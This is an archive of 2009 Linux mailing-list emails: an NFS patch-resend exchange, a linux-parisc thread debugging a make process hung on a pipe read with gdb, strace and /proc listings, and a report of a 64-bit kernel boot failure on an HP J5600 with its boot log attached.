Xref: news.gmane.org gmane.linux.nfs:29673 gmane.linux.kernel:922070 gmane.linux.ports.parisc:2394 gmane.linux.ports.sparc:12604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2394>

On Thu, Nov 26, 2009 at 02:39:17PM +0200, Boaz Harrosh wrote:
> On 11/25/2009 10:23 PM, J. Bruce Fields wrote:
> > On Wed, Nov 25, 2009 at 03:10:11PM -0500, J. Bruce Fields wrote:
> >> On Tue, Nov 24, 2009 at 08:03:12PM +0200, Boaz Harrosh wrote:
> >>>
> >>> In what history where these ever needed? Well not
> >>> any more.
> >>
> >> Applied, thanks.--b.
> > 
> > Um, I said that before I actually tried to compile it....  OK, dropping
> > for now (assuming I'm missing some earlier patch).
> > 
> > --b.
> > 
> 
> OK, I didn't realize it but, yes I have these on top of the previous 6
> so it makes sense.
> 
> I have posted the previous 6 rebased on your new current tree, have you seen
> it? All the patches are the same but [5/6] which has a "version 3". Do I need
> to re post?

Apologies, yes, would you mind reposting?

--b.
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: make hangs reading pipe
Date: Thu, 3 Dec 2009 21:02:05 -0500
Lines: 82
Approved: news@gmane.org
Message-ID: <119aab440912031802u72b7c679uf8cfa47d8c77f27f@mail.gmail.com>
References: <20091203011435.5401D4FA3@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1259892140 7915 80.91.229.12 (4 Dec 2009 02:02:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Dec 2009 02:02:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 04 03:02:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGNUn-0007ZG-RL
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Dec 2009 03:02:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752459AbZLDCCC convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2009 21:02:02 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752585AbZLDCCB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Dec 2009 21:02:01 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:63329 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752459AbZLDCCA convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2009 21:02:00 -0500
Original-Received: by bwz27 with SMTP id 27so1643962bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 03 Dec 2009 18:02:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=MKfbKL21PJcn5SPYdicLbNodS8Jnd//ms28Vh7OcLug=;
        b=rPH+yPPkmnvE+JwLSt8083fYRh+OuiV5Tj2s8AM8E1EauduhNqmXWZG1+PAeDKnzyq
         fnXcWNXDBkIYjGLC4epQVtUtpGBxzcYDOig+KpbHoZzuj0bDu5gm8q3mP7vlxRO0Se6p
         gYNlCT98ifjOC/1q8FmV/hFJNrR4Mn+O+mzhw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=FtTMAHHeej/zui6O3YUYSGmsfEQX3lUmZkQxPgq7ydGffuxzB1LwiyNhcT+Rv2vJ0Z
         HbrSJVxVXZQVfc+301RU18RfmAyH7QFbNQar0b6k1T1/w0MdO6ZB7GXFtq1cCDtI9INX
         HcxJ5X18isedk1dbsZgTOdDUpcxa4vmuNRV+E=
Original-Received: by 10.204.48.131 with SMTP id r3mr2450176bkf.195.1259892125169; Thu, 
	03 Dec 2009 18:02:05 -0800 (PST)
In-Reply-To: <20091203011435.5401D4FA3@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 8de0df0c64dd13fc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2395
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2395>

On Wed, Dec 2, 2009 at 8:14 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> (gdb) bt
> #0 =A00x4098607c in read () from /lib/libc.so.6
> #1 =A00x0001eb6c in ?? ()
> #2 =A00x0001ec4c in ?? ()
> #3 =A00x00021af0 in main ()
> (gdb) disass 0x4098606c 0x4098608c
> Dump of assembler code from 0x4098606c to 0x4098608c:
> 0x4098606c <read+24>: =A0 cmpib,<>,n 0,ret0,0x409860a0 <read+76>
> 0x40986070 <read+28>: =A0 copy r19,r3
> 0x40986074 <read+32>: =A0 be,l 100(sr2,r0),sr0,r31
> 0x40986078 <read+36>: =A0 ldi 3,r20

Those last two instructions are the "read" syscall. The process is
just waiting for the kernel to deliver data, but it never came. The PC
points to 0x4098607c, which is where the process will *return* after
the read syscall completes.

When you see a "be,l 100" it's a syscall, when you see a "be,l b0"
it's a light-weight-syscall.

> 0x4098607c <read+40>: =A0 ldi -1000,r1
> 0x40986080 <read+44>: =A0 cmpb,>>=3D,n r1,ret0,0x40986100 <read+172>
> 0x40986084 <read+48>: =A0 copy r3,r19
> 0x40986088 <read+52>: =A0 b,l 0x409a7c38,rp
> End of assembler dump.

You need to use sysrq-t to determine why the other side of the pipe is =
stuck.

> dave@hiauly6:/proc/4506$ cat status
> Name: =A0 make
> State: =A0S (sleeping)

Sleeping is normal, it's blocked waiting for the read to complete.

> lr-x------ 1 dave dave 64 Nov 29 11:00 3 -> pipe:[23677]
> lr-x------ 1 dave dave 64 Nov 29 11:00 7 -> pipe:[23678]
>
> Processes 23677 and 23678 are non existant.

Those are the kernel inode numbers for the anonymous pipe. You need to
look for the other pid which is writing to the pipe of the same inode.

If the process on the other side of the pipe dies shouldn't the fd's
get closed and then make's read on the pipe should return with partial
data followed by EOF?

> In the current hang, I see:
>
> dave@hiauly6:/proc/23324/fd$ ls -l
> total 0
> l-wx------ 1 dave dave 64 Dec =A02 19:49 0 -> /dev/null
> l-wx------ 1 dave dave 64 Dec =A02 19:49 1 -> /home/dave/gnu/gcc-4.5/=
objdir/build.log
> l-wx------ 1 dave dave 64 Dec =A02 19:49 2 -> /home/dave/gnu/gcc-4.5/=
objdir/build.log
> lr-x------ 1 dave dave 64 Dec =A02 19:49 3 -> pipe:[1383769]
> lr-x------ 1 dave dave 64 Dec =A02 19:49 6 -> /home/dave/gnu/gcc-4.5/=
gcc-4.5
> lr-x------ 1 dave dave 64 Dec =A02 19:49 7 -> pipe:[1383770]
>
> Not sure what the pipe numbers mean...

Each anonymous pipe gets an inode number in the pipefs filesystem,
which you can't see or mount.

> The current hang could be debugged more if anybody has further ideas.
> Any thoughts?

Yes, it's not make's fault, it's waiting for the read to complete.
What is the process on the other side of the pipe?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: make hangs reading pipe
Date: Thu, 3 Dec 2009 21:47:01 -0500 (EST)
Lines: 60
Approved: news@gmane.org
Message-ID: <20091204024701.BBB1D4FB2@hiauly1.hia.nrc.ca>
References: <119aab440912031802u72b7c679uf8cfa47d8c77f27f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1259894832 14009 80.91.229.12 (4 Dec 2009 02:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Dec 2009 02:47:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 04 03:47:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGOCF-0004Cq-Jz
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Dec 2009 03:47:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755551AbZLDCq4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2009 21:46:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755563AbZLDCq4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Dec 2009 21:46:56 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2017 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755551AbZLDCqz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2009 21:46:55 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BBB1D4FB2; Thu,  3 Dec 2009 21:47:01 -0500 (EST)
In-Reply-To: <119aab440912031802u72b7c679uf8cfa47d8c77f27f@mail.gmail.com> from "Carlos O'Donell" at Dec 3, 2009 09:02:05 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2396
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2396>

> > The current hang could be debugged more if anybody has further ideas.
> > Any thoughts?
> 
> Yes, it's not make's fault, it's waiting for the read to complete.
> What is the process on the other side of the pipe?

Thanks for explaining the inode numbers.

The process on the other side is /bin/sh:

root@hiauly6:/proc/14971# ps -ef|grep 14971
dave     14971     1  0 Dec01 ?        00:00:00 /bin/sh

It's fd's are:

root@hiauly6:/proc/14971/fd# ls -l
total 0
lr-x------ 1 dave dave 64 Dec  3 21:20 0 -> pipe:[1401596]
l-wx------ 1 dave dave 64 Dec  3 21:20 1 -> pipe:[1401597]
l-wx------ 1 dave dave 64 Dec  3 21:20 2 -> /home/dave/gnu/gcc-4.5/objdir/build.log
lr-x------ 1 dave dave 64 Dec  3 21:20 3 -> pipe:[1383769]
l-wx------ 1 dave dave 64 Dec  3 21:20 4 -> pipe:[1383769]
lr-x------ 1 dave dave 64 Dec  3 21:20 5 -> /usr/include/sys/stat.h
lr-x------ 1 dave dave 64 Dec  3 21:20 6 -> pipe:[1401596]
l-wx------ 1 dave dave 64 Dec  3 21:20 7 -> pipe:[1401596]
l-wx------ 1 dave dave 64 Dec  3 21:20 9 -> pipe:[1401597]

It's stuck reading 0:

root@hiauly6:/proc/14971# strace -p14971
Process 14971 attached - interrupt to quit
read(0, 

The only process using inode 1401596 is 14971.  As seen above, it
seems to be talking to itself.  That probably would explain the hang.

It's backtrace is:

0x4058607c in read () from /lib/libc.so.6
(gdb) bt
#0  0x4058607c in read () from /lib/libc.so.6
#1  0x0009051c in zread ()
#2  0x000618ac in buffered_getchar ()
#3  0x0002c71c in ?? ()
#4  0x0002ef74 in ?? ()
#5  0x00032ebc in yyparse ()
#6  0x00029e30 in parse_command ()
#7  0x00029f30 in read_command ()
#8  0x0002a0d0 in reader_loop ()
#9  0x000292b8 in main ()

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: make hangs reading pipe
Date: Thu, 3 Dec 2009 22:10:16 -0500
Lines: 73
Approved: news@gmane.org
Message-ID: <119aab440912031910p569feb14ufa2472304610f671@mail.gmail.com>
References: <119aab440912031802u72b7c679uf8cfa47d8c77f27f@mail.gmail.com>
	 <20091204024701.BBB1D4FB2@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1259896231 16796 80.91.229.12 (4 Dec 2009 03:10:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Dec 2009 03:10:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 04 04:10:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGOYp-0003hm-E3
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Dec 2009 04:10:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751323AbZLDDKN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2009 22:10:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751495AbZLDDKM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Dec 2009 22:10:12 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:51838 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751323AbZLDDKL convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2009 22:10:11 -0500
Original-Received: by bwz27 with SMTP id 27so1665250bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 03 Dec 2009 19:10:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=3/EEKtIk7ZQ32+4hc75g4wH3IFYpfvJoTtSTzflC2L8=;
        b=E7NbmJHtmVnTxpR5CBJ2a0OHlx3PJo+o5GB9SUrC6sgEdLRYf9ObrH2jVe5OE3j9Kr
         DiAavdmhO5cdvz0YmMh/lpZdNYAP0BjFUcG4TgOoYWEyVREvm6pqKT5ovrhnGCYmOw9B
         cPmqUNraSld5/sA4m9VamVZOTpRlVBz6jCZ7g=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Oo26FN2Qc2DFr2Wuye0GswFgmI2NS1TWbVw3i3Tzoa7yqvlFJagnGPG6a5BZzk8noa
         MBml4FYhb7YWEy0RSTfCEKXvFytd1tzQ7gLtiYv/HemGdOPLZkv2YLgVLUjENdJPXjew
         tn1Xw4h6iDH6kG6QWdFutHypSR7qqe50EBCfA=
Original-Received: by 10.204.49.79 with SMTP id u15mr2585846bkf.117.1259896216100; Thu, 
	03 Dec 2009 19:10:16 -0800 (PST)
In-Reply-To: <20091204024701.BBB1D4FB2@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: fa6d84baa6fcb725
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2397>

On Thu, Dec 3, 2009 at 9:47 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Yes, it's not make's fault, it's waiting for the read to complete.
>> What is the process on the other side of the pipe?
>
> Thanks for explaining the inode numbers.
>
> The process on the other side is /bin/sh:
>
> root@hiauly6:/proc/14971# ps -ef|grep 14971
> dave =A0 =A0 14971 =A0 =A0 1 =A00 Dec01 ? =A0 =A0 =A0 =A000:00:00 /bi=
n/sh
>
> It's fd's are:
>
> root@hiauly6:/proc/14971/fd# ls -l
> total 0
> lr-x------ 1 dave dave 64 Dec =A03 21:20 0 -> pipe:[1401596]
> l-wx------ 1 dave dave 64 Dec =A03 21:20 1 -> pipe:[1401597]
> l-wx------ 1 dave dave 64 Dec =A03 21:20 2 -> /home/dave/gnu/gcc-4.5/=
objdir/build.log
> lr-x------ 1 dave dave 64 Dec =A03 21:20 3 -> pipe:[1383769]
> l-wx------ 1 dave dave 64 Dec =A03 21:20 4 -> pipe:[1383769]
> lr-x------ 1 dave dave 64 Dec =A03 21:20 5 -> /usr/include/sys/stat.h
> lr-x------ 1 dave dave 64 Dec =A03 21:20 6 -> pipe:[1401596]
> l-wx------ 1 dave dave 64 Dec =A03 21:20 7 -> pipe:[1401596]
> l-wx------ 1 dave dave 64 Dec =A03 21:20 9 -> pipe:[1401597]
>
> It's stuck reading 0:

It's stuck reading standard input, which happens to be attached to anot=
her pipe.

> root@hiauly6:/proc/14971# strace -p14971
> Process 14971 attached - interrupt to quit
> read(0,
>
> The only process using inode 1401596 is 14971. =A0As seen above, it
> seems to be talking to itself. =A0That probably would explain the han=
g.

Odd, is this normal for bash e.g. stdin -> pipe <- other fd.

> It's backtrace is:
>
> 0x4058607c in read () from /lib/libc.so.6
> (gdb) bt
> #0 =A00x4058607c in read () from /lib/libc.so.6
> #1 =A00x0009051c in zread ()
> #2 =A00x000618ac in buffered_getchar ()
> #3 =A00x0002c71c in ?? ()
> #4 =A00x0002ef74 in ?? ()
> #5 =A00x00032ebc in yyparse ()
> #6 =A00x00029e30 in parse_command ()
> #7 =A00x00029f30 in read_command ()
> #8 =A00x0002a0d0 in reader_loop ()
> #9 =A00x000292b8 in main ()

I don't know what to say at this point, it might be a bug in bash, or
a bug in pipefs for hppa where the same inode is given out incorrectly
under certain circumstances.

What does the normal behaviour look like, what is fd 6 being used for?
You should be able to use strace to observe the correct operation.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: my usual problem with 64bit kernel
Date: Fri, 4 Dec 2009 18:28:39 +0100
Lines: 243
Approved: news@gmane.org
Message-ID: <20091204172838.GA4551@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="FCuugMFkClbJLl1L"
X-Trace: ger.gmane.org 1259947741 1079 80.91.229.12 (4 Dec 2009 17:29:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 4 Dec 2009 17:29:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 04 18:28:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NGbxd-0001aK-3i
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Dec 2009 18:28:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932174AbZLDR2o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Dec 2009 12:28:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932323AbZLDR2o
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 4 Dec 2009 12:28:44 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:43109 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932322AbZLDR2j (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Dec 2009 12:28:39 -0500
Original-Received: by ewy19 with SMTP id 19so3078060ewy.1
        for <linux-parisc@vger.kernel.org>; Fri, 04 Dec 2009 09:28:45 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:mime-version:content-type
         :content-disposition:user-agent;
        bh=11qrdmmDOFt9KcwLLq1Y+VYcApovrplHKUAyUkN1auk=;
        b=rKP/0bMJkpo/K5p8rJljld/xXffGzS4otwcoaEZnoUTd9+yNPLIDTsJSpO1bXqMr3A
         bkBt3AUjkq5fby9ozKy+jTKIzC5zPrsTd9pZhZF+1/s1kuZ9U2nigYtMQq0eAbMM3Oog
         UHSxWqC04kHAm4fNt3kVXzEWRi+D9/CcQvueM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:mime-version
         :content-type:content-disposition:user-agent;
        b=VaIoR2heEmSV+TbEsK1tIQeOYK7bnKdbDt15NBNhi2lqtmWvbOiJKSNbX9pcoRMlew
         qCJl7rQesS4PPpt69xPa2ia8LfBWHUYgpBqj8WGvPsFuE0PQYCbo4WzhoLnJRjF6pvQ6
         W1vfoLROQiwmYEWEkdunyZp+AHVd/evbbNwws=
Original-Received: by 10.216.90.195 with SMTP id e45mr1044536wef.189.1259947724193;
        Fri, 04 Dec 2009 09:28:44 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host158-49-dynamic.45-79-r.retail.telecomitalia.it [79.45.49.158])
        by mx.google.com with ESMTPS id t2sm7022484gve.24.2009.12.04.09.28.41
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 04 Dec 2009 09:28:42 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id 4A5001B045; Fri,  4 Dec 2009 18:28:39 +0100 (CET)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2398>


--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

hi,

  today i checked the support of 64bit on my j5600. latest kernel
that successfully (and still) run it was 2.6.22, latest one i tried
(and still fails) is a fresh 2.6.32.

i have not any specific knowlwdge of the beast, only a pile of manuals
that i will use to try to understand what's wrong.

only, if anybody has a hint to point me in the right direction i would
save a lot of time.  i attached the kernel boot log and the output of
ser pim firmware command.

best regards,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50

--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="parisc64-kernel.log"

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).        
Command line for kernel: 'root=/dev/sda3 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2                                                              
Selected ramdisk: /initrd.img from partition 2
ELF64 executable                              
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 6139904 mediaptr 0x1000
Segment 1 load 00714660 size 819360 mediaptr 0x5dc660
Loading ramdisk 8720546 bytes @ 3f79d000...          
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is  
a common symptom -- search the FAQ and mailing list at parisc-linux.org
                                                                       
[    0.000000] Linux version 2.6.32 (cavok@ska) (gcc version 4.3.4 (GCC) ) #1 SMP Fri Dec 4 17:33:58 CET 2009
[    0.000000] unwind_init: start = 0x405d8000, end = 0x4060b7c0, entries = 13180
[    0.000000] WARNING: Out of order unwind entry! 00000000405da120 and 00000000405da130
[    0.000000] WARNING: Out of order unwind entry! 00000000405da130 and 00000000405da140
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000300
[    0.000000] CPUID vers 17 rev 10 (0x0000022a)
[    0.000000] capabilities 0x3
[    0.000000] model 9000/785/J5600
[    0.000000] Total Memory: 3840 MB
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000044338000 s9984 r8192 d22784 u65536
[    0.000000] pcpu-alloc: s9984 r8192 d22784 u65536 alloc=16*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
[    0.000000] Kernel command line: root=/dev/sda3 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Memory: 3856640k/3932160k available (4209k kernel code, 74972k reserved, 1735k data, 276k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000000130000000   (3840 MB)
[    0.000000]       .init : 0x0000000040798000 - 0x00000000407dd000   ( 276 kB)
[    0.000000]       .data : 0x000000004051c470 - 0x00000000406ce2a0   (1735 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x000000004051c470   (4209 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1101.00 BogoMIPS (lpj=5505024)
[    0.390000] Security Framework initialized
[    0.450000] Mount-cache hash table entries: 256
[    0.510000] Brought up 1 CPUs
[    0.550000] NET: Registered protocol family 16
[    0.610000] EISA bus registered
[    0.650000] Searching for devices...
[    0.960000] Found devices:
[    0.990000] 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
[    1.100000] 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
[    1.210000] 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
[    1.310000] 4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
[    1.420000] 5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
[    1.530000] 6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
[    1.630000] 7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
[    1.730000] 8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
[    1.830000] 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
[    2.040000] Releasing cpu 1 now, hpa=fffffffffffa2000

